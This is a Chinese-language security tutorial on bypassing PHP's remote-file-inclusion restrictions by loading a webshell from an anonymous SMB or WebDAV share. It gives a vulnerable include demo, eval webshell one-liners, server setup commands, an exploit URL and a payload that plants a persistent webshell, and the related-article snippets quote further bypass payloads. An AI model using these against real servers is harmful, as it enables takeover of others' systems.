RFI巧用WebDAV繞過URL包含限制Getshell

2021-02-15 安全客

 

前言

關於遠程文件包含(Remote File Inclusion)漏洞,自從 php version 5.2 之後一直是一個比較雞肋的問題!!!直到2019年5月份,國外的一篇文章(RFI-SMB)和推文(Twitter)吸引了大家的注意,其大概內容主要是通過PHP遠程文件包含中 allow_url_fopen和allow_url_include 僅限制http://和ftp://的缺陷,利用SMB協議的文件共享進行繞過與包含。雖說,SMB如今在國內的局限性很大,但是在一定程度上,打破了RFI URL包含限制的局面,同時,也啟發了針對 RFI 的擴展利用和探索。正因如此,本文在其之前的基礎上又進行了拓展利用與探索,通過巧用WebDAV來繞過URL包含限制Getshell,打破了如今SMB的局限性。

 

RFI 基礎

四個函數

PHP中引發文件包含漏洞的通常主要是以下四個函數:

http://www.php.net/manual/en/function.include.php

http://php.net/manual/en/function.include-once.php

http://php.net/manual/en/function.require.php

http://php.net/manual/en/function.require-once.php

函數功能

當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等),都會直接作為php文件進行解析。

函數差異

include()

include() 函數包含出錯的話,只會提出警告,不會影響後續語句的執行

require()

require() 函數包含出錯的話,則會直接退出,後續語句不在執行

include_once() 和 require_once()require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個文件已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函數重定義或變量重賦值等問題。

RFI 限制

用一個簡單的例子構造一個含有文件包含漏洞的Demo,演示一下遠程文件包含漏洞的利用,代碼如下:

<?php    $file = $_GET['file'];    include $file;?>

在上面的漏洞代碼中,file參數從GET請求中取值,並且是用戶可控的動態變量。當file接收到傳入的參數值後,include()函數會直接進行內容包含。由於,文件包含函數加載的參數file沒有經過任何的過濾或者嚴格的定義,可以由攻擊者進行控制發起惡意的請求,包含其它惡意文件,從而讓應用程式執行攻擊者精心準備的惡意腳本,具體如下:

<?php @eval($_POST['Qftm']);?>

https://www.qftm.com/index.php?file=http://10.10.10.10/shell.php

通過上述請求,可以遠程包含一個shell,一旦攻擊者的惡意請求成功之後,可以達到任意代碼執行漏洞也就是RCE。雖然用戶沒有對文件參數進行控制,但是想要得到一個真正的RCE還需要滿足一個條件,如下php.ini配置:

allow_url_fopen=Onallow_url_include=On

只有當這兩個配置設置成On時,最終的漏洞才能利用成功,遺憾的是PHP官方在 php version 5.2 之後默認的關閉了allow_url_include,是不是突然感覺沒有了希望!!!不要放棄,下面利用我們強大的Bypass功能進行限制繞過。

RFI 缺陷

對於RFI的缺陷,先來看一下PHP針對allow_url_fopen和allow_url_include的配置說明


allow_url_fopen=On
allow_url_include=Off

從配置中可以看到 allow_url_fopen和allow_url_include主要是針對兩種協議起作用:http://、 ftp://。PHP針對RFI URL包含限制主要是利用allow_url_include=Off來實現,將其設置為Off,可以讓PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。那麼,我們是不是可以這樣想,有沒有什麼其它協議可以讓我們去包含遠程伺服器文件,答案是肯定的,例如SMB、WebDAV等協議。既然這樣,攻擊者就可以利用這個缺陷,使用相應的協議進行Bypass。在這個過程中,即使allow_url_fopen和allow_url_include都設置為Off,PHP也不會阻止相應的遠程文件加載。

RFI 繞過

在介紹WebDAV Bypass的時候先來簡單了解一下SMB Bypass,因為他們利用道理都差不多。SMB BypassSMB協議主要於網絡文件的共享,SMB所在埠445。PHP在遠程匿名加載smb所共享的文件時並不會對其進行攔截。

<?php    $file=$_GET['file'];    include $file;?>

當易受攻擊的PHP應用程式代碼嘗試從攻擊者控制的SMB伺服器共享加載PHP Web shell時,SMB共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的SMB伺服器。因此,一旦易受攻擊的應用程式嘗試從SMB共享訪問PHP Web shell,SMB伺服器將不會要求任何憑據,易受攻擊的應用程式將包含Web shell的PHP代碼。首先,重新配置PHP環境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然後,配置SMB伺服器具有匿名讀訪問權限。首先,在受害者主機上配置php.ini,將allow_url_fopen和allow_url_include設置為Off

需要使用匿名讀取訪問權限配置SAMBA伺服器(Ubuntu18.04)

Samba是在Linux和UNIX系統上實現SMB協議的一個軟體

(2)創建SMB共享目錄和 php web shell

mkdir /var/www/html/pub/touch /var/www/html/pub/shell.php

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

(4)編輯samba配置文件 /etc/samba/smb.conf

[global]workgroup = WORKGROUPserver string = Samba Server %vnetbios name = indishell-labsecurity = usermap to guest = bad username resolve order = bcast hostdns proxy = nobind interfaces only = yes
[Qftm]path = /var/www/html/pubwritable = noguest ok = yesguest only = yesread only = yesdirectory mode = 0555force user = nobody

(5)重新啟動SAMBA伺服器以應用配置文件/etc/samba/smb.conf中的新配置

成功重新啟動SAMBA伺服器後,嘗試訪問SMB共享並確保SAMBA伺服器不要求憑據。在環境都配置完且驗證之後,利用samba目錄/var/www/html/pub中共享的WebShell進行GetShell

<?php @eval($_POST['admin']);?>

針對smb利用的局限性,因為這種unc只能是在windows下使用,而且,smb埠(445) 在國內已經被封殺的差不多了(勒索病毒!!!),很難應用到實際中,但是其他的像webdav這種同理也是可以被包含的,且利用的價值更大。WebDAV BypassWebDAV(Web 分布式創作和版本管理)是一項基於 HTTP/1.1 協議的通信協議。它擴展了HTTP/1.1 協議,在Get、Post、Put、Delete 等HTTP標準方法外添加了新方法,使應用程式可對Web Server直接讀寫,並支持寫文件鎖定(Locking)和解鎖(Unlock),以及文件的版本控制。PHP在遠程匿名加載WebDAV所共享的文件時並不會對其進行攔截。

<?php    $file=$_GET['file'];    include $file;?>

當易受攻擊的PHP應用程式代碼嘗試從攻擊者控制的WebDAV伺服器共享加載PHP Web shell時,WebDAV共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的WebDAV伺服器。因此,一旦易受攻擊的應用程式嘗試從WebDAV共享訪問PHP Web shell,WebDAV伺服器將不會要求任何憑據,易受攻擊的應用程式將包含Web shell的PHP代碼。同SMB環境配置一樣,首先,重新配置PHP環境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然後,配置WebDAV伺服器。首先,在受害者主機上配置php.ini,將allow_url_fopen和allow_url_include設置為Off1、Ubuntu18.04手動搭建WebDAV伺服器

sudo apt-get install -y apache2

sudo a2enmod davsudo a2enmod dav_fs

(3)創建WebDAV共享目錄webdav和 php web shell

sudo mkdir -p /var/www/html/webdavsudo touch /var/www/html/webdav/shell.php

(4)將文件夾所有者更改為您的Apache用戶,www-data以便Apache具有對該文件夾的寫訪問權

sudo chown -R www-data:www-data  /var/www/

(5)編輯WebDAV配置文件 /etc/apache2/sites-available/000-default.conf

DavLockDB /var/www/html/DavLock<VirtualHost *:80>                                
ServerAdmin webmaster@localhost DocumentRoot /var/www/html

ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined
Alias /webdav /var/www/html/webdav <Directory /var/www/html/webdav> DAV On </Directory></VirtualHost>

sudo service apache2 restart

成功重新啟動Apache伺服器後,嘗試訪問WebDAV共享並確保WebDAV伺服器不要求憑據。除了上面在Ubuntu上一步步安裝WebDAV伺服器外,還可以利用做好的Docker鏡像。推薦使用Docker鏡像方式去安裝利用,免去一些因環境或配置不當而產生的問題鏡像地址:https://hub.docker.com/r/bytemark/webdav

docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav

(3)在~/webdav/data目錄裡面共享自己php腳本在環境都配置完且驗證之後,利用webdav目錄~/webdav/data中共享的WebShell進行GetShell

http://127.0.0.1/FI/index.php?file=//172.17.0.2//webdav/shell.php

<?php echo eval(system("whoami"));phpinfo();?><?PHP fputs(fopen('poc.php','w'),'<?php @eval($_POST[Qftm])?>');?>

為什麼這個不能直接加載一句話木馬呢,因為使用PHP文件包含函數遠程加載Webdav共享文件時,不能附加消息(GET/POST),但是我們可以自定義shell.php,通過伺服器加載遠程shell.php給我們自動生成一個Webshell。從圖中可以看到遠程加載shell.php利用成功,可以根據狀態碼分析其加載過程:其中code 207是由WebDAV(RFC 2518)擴展的狀態碼,代表之後的消息體將是一個XML消息,並且可能依照之前子請求數量的不同,包含一系列獨立的響應代碼。連接遠程加載shell.php生成的Webshell->poc.shell

webdav如今很多人都將其作為自己的個人數據共享存儲伺服器,其局限性遠遠小於SMB。

Refference

http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx

相關焦點

  • PHP文件包含漏洞利用思路與Bypass總結手冊(三)
    下面就看看有哪些方式可以繞過這個限制。data://如果在我們使用文件包含漏洞時data://協議被限制,但是我們又想要使用的話該怎麼繞過,比如下面這段限制代碼分析代碼可知filename變量內容開頭不能出現data字符串,這就限制了data://協議的使用,不過我們可以利用zlib
  • 騎士CMS模版注入+文件包含getshell復現
    ec=ECID21bb-8308-4117-ab95-a4602fa6c377&pk_campaign=weixin-wemedia    本實驗介紹了文件包含時繞過限制的原理,以及介紹利用文件包含漏洞讀取源碼的原理。
  • disable_functions繞過總結
    繞過方式分類常規繞過:exec,shell_exec,system,passthru,popen,proc_open利用環境變量LD_PRELOAD繞過(★):mail,imap_mail,error_log,mb_send_mail
  • PHP 文件包含漏洞姿勢總結
    而區分他們最簡單的方法就是 php.ini 中是否開啟了allow_url_include。如果開啟 了我們就有可能包含遠程文件。1、本地文件包含 LFI(Local File Include)2、遠程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)在 php.ini 中,allow_url_fopen 默認一直是 On,而 allow_url_include 從
  • php中函數禁用繞過的原理與利用
    ,但需要存在文件上傳的點,直接看連結:https://www.cnblogs.com/xhds/p/13239331.htmlothers如文件包含時判斷協議是否可用的兩個配置項:allow_url_include、allow_url_fopen
  • 淺談WAF繞過技巧
    (最好是可以找到waf開發者都不了解的某些特性),以下是兩個廣為流傳的小特性:比如 「+」 select+password+from+mysql.user 相當於是一個空格的作用「`」放在mysql的末尾會起到注釋符的作用3.編碼可以結合各種編碼方式來繞過,比如url編碼,url雙重編碼,十六進位編碼,unicode
  • ZZZPHP1.61 代碼審計-從SQL注入到Getshell
    $location . '.tpl';      if ( is_file( $locationpath ) ) {         return file_get_contents( $locationpath );      } else {         $url = $_SERVER[ 'REQUEST_URI' ];         $url =
  • 某變態CTF比賽繞過preg_match
    在圈子中看到了有表哥發變態CTF中preg_match繞過的姿勢,並沒有寫繞過的具體原理及方法,本著學習的態度,查了查資料簡單復現了一下。
  • phpmyadmin getshell
    遇到的問題中文路徑寫shell問題,在mysql中,中文路徑寫shell,如下:12set names utf8;開啟全局日誌getshell環境:phpstudy2018利用條件:1、root權限(有寫入權限)2、有網站絕對路徑當secure_file_priv為null時,無法使用
  • php 不用字母,數字和下劃線寫 shell
    >結果會輸出:1不用數字和字母的 shell在講不用數字,字母和下劃線寫 shell 之前,先了解下不用數字和字母寫 shell。畢竟學習都是循序漸進的。而且用不用下劃線其實問題不大,因為 PHP 太靈活了。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(完結)
    那麼該怎麼去繞過這個限制呢,一般做法是逆過程,既然他選擇了編碼或加密,我們就可以嘗試著利用解碼或解密的手段還原真實session,然後再去包含,這個時候就能夠將惡意的session信息包含利用成功。很多時候伺服器上的session信息會由base64編碼之後再進行存儲,那麼假如存在本地文件包含漏洞的時候該怎麼去利用繞過呢?下面通過一個案例進行講解與利用。
  • 淺談flask ssti 繞過原理
    和 get_flashed_messages,還有一些內置的對象{{url_for.eval']('__import__("os").popen("ls").read()')不使用globals的payload// <class 'warnings.catch_warnings'>類在在內部定義了_module=sys.modules['warnings'],然後warnings模塊包含有
  • web安全篇(一):PHP文件包含漏洞姿勢總結
    A:在包含文件的時候,為了靈活包含文件,將包含文件設置為變量,通過動態變量來引入需要包含的文件時,用戶可以對變量的值可控而伺服器端未對變量值進行合理地校驗或者校驗被繞過,這樣就導致了文件包含漏洞,通常文件包含漏洞出現在PHP語言中。
  • shell腳本的使用該熟練起來了,你說呢?(篇三)
    文件包含Shell 文件包含和其他語言一樣,Shell 也可以包含外部腳本。Shell 文件包含的語法格式如下:. filename # 注意點號(.)和文件名中間有一空格或source filename創建兩個 shell 腳本文件。
  • AppLocker繞過之路
    由於此實用程序是Microsoft籤名的二進位文件,因此可以用來繞過AppLocker限制來運行任何.NET可執行文件。該實用程序也位於Windows文件夾內,該文件夾不會應用AppLocker策略,因為需要執行Windows文件夾的內容才能使系統正常運行。